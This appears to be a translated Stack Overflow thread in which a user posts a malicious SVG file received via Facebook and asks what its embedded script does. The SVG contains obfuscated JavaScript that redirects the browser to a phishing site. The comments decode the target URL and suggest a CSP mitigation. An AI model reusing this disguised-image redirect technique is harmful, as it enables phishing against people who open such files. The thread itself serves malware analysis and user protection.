【问题标题】:Malicious javascript embeded in SVG - what it does?嵌入在 SVG 中的恶意 javascript - 它的作用是什么?
【发布时间】:2017-04-04 06:30:43
【问题描述】:

我收到了带有两个文件(SVG 图片)的 facebook 消息,我点击了其中一个(我不知道为什么 :( )。然后打开了带有红点的新标签,然后我立即被重定向到某个假装的站点看起来像 Youtube (http://kerman.pw/?fb_dsa)。

然后我使用“将链接另存为...”功能下载了 .svg 文件。 好像是嵌入到svg中的一些javascript代码,所以我在这里发布(我不太了解JS):

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
  <circle cx="250" cy="250" r="50" fill="red" />
  <script type="text/javascript"><![CDATA[
    function xcxxy(gyqbv,hzrgh,ktjrf){
      var qixua = "XY_/3cU.ioGJkP2hgveS1Tj75ABb=Nrs:u?fKmdI0nLty84CRpVOzaFD9lZExMH6";
      var vyqsvo = ["rYf=3vXU:zitl17N.k24ah8ZO6KoDFjPMEceRmsTGbdVBH59uJS\/I0g_CL?pxAyn","RN?dh38MCU0o6u=tIXPp.nZJzc5D:TiLFOvYfjG4E2K1A_rgaHykbS\/9lB7sexVm","n4mAObK9zBt_YZrcE1JHM.SF=dRT:6aDeUuIPi2vfhkGXp?y5LgVoCj0873lxN\/s","C981S?moMiHktu:nev0ZBzVh.2FONIcbxf7GYL6RgpUTAP4j_DJl\/dKa35rsX=Ey","9n?SGiTY6z8BjCbM:Lpsr0xZeUvPaH.JmfudtlE1\/y=kFODRKN24c5oX37_hAIVg",":z2oNO?Tr=aIx8.6gVeRn4_vYE5f1mZAXKltbuU7ByDSMis0Fk\/Pjch3CGLHJd9p"];
      var bnkdip = "";
      var igrqm = 0;
      while(vyqsvo[igrqm]){
        igrqm++;
      }
      var kwwtmh = 0;
      while(gyqbv[kwwtmh]){
        var jikaig = 0;
        var axfnq = -1;
        while(qixua[jikaig]){
          if(qixua[jikaig] == gyqbv[kwwtmh]){
            axfnq = jikaig;
            break;
          }
          jikaig++;
        }
        if(axfnq >= 0){
          var abxnk = 0;
          var wjtfca = -1;
          while(vyqsvo[kwwtmh%igrqm][abxnk]){
            if(vyqsvo[kwwtmh%igrqm][abxnk] == gyqbv[kwwtmh]){
              wjtfca = abxnk;
              break;
            }
          abxnk++;
          }
          bnkdip += qixua[wjtfca];
        }else{
          bnkdip += gyqbv[kwwtmh];
        }
        kwwtmh++;
      }
      var evhrt = "";
      for(izqfrv=hzrgh;izqfrv<bnkdip.length;izqfrv++){
        evhrt += bnkdip[izqfrv];
      }
      bnkdip = evhrt;
      return bnkdip;
    }
  var obejok = window;
  var iyysri = xcxxy("sUTA:Gkb106SzH",11,false);
  var leizjp = xcxxy("kBB?5S:Uh",1,false);
  var nvanw = xcxxy(".Pi/MksB2n7jIta0d",13,false);
  obejok[iyysri][leizjp][nvanw] = xcxxy("siqnkSJFA1l=Eiz6YOzjADMk=1afJSUHcD",3,false);
  ]]></script>
</svg>

我真的不知道javascript,我想问一下它可以做什么。会不会伤害到我? 非常感谢

【问题讨论】:

  • 您的浏览器历史记录中没有“Youtube 相似”吗?
  • window.top.location.href = "http://mourid.com/php/trust.php",使您的浏览器导航到该地址,从而将您重定向到其他各种地址。脚本本身不会伤害你,但使用它最终会带你去的网站可能。模仿 Youtube,它可能会尝试通过网络钓鱼获取您的凭据,或者可能会尝试提供不是视频的文件。
  • @JimmyAdaro 是的,我找到了。它是:http://kerman.pw/?fb_dsa .
  • 我能问一下为什么会投反对票 - 这样我以后就可以避免它了吗?
  • 仅供参考 - 如果您从自己的域提供用户上传的 SVG(也许您不应该这样做),发送标头 Content-Security-Policy:default-src *; 会告诉浏览器“您可以加载脚本、图像或您想要的任何 URL 中的任何其他内容,但不要在 &lt;script&gt; 标签中执行内联代码”。这是一个非常(可能过于)宽松的 CSP,但可以防止恶意 SVG 造成损害。见content-security-policy.com

标签: javascript windows facebook google-chrome svg


【解决方案1】:

您是正确的,SVG 文件已嵌入 javascript。 SVG 是矢量图形文件,它将根据文件内的说明在浏览器中绘制图像。您找到的 SVG 包含混淆的 javascript,以隐藏实际发生的情况。

乍一看,它是一个打开新浏览器窗口并加载新 URL 的脚本,所以它本身并不危险,这完全取决于它将您重定向到哪个网站,并且当您到达该网站时,会启动哪些脚本。

简而言之,假设您被重定向到的网站是恶意的,它可能会损害您的计算机。

希望对你有帮助。

【讨论】:

    猜你喜欢
    • 2021-02-10
    • 1970-01-01
    • 2016-11-03
    • 2016-09-02
    • 1970-01-01
    • 2010-09-27
    • 1970-01-01
    • 2013-06-04
    • 1970-01-01
    相关资源
    最近更新 更多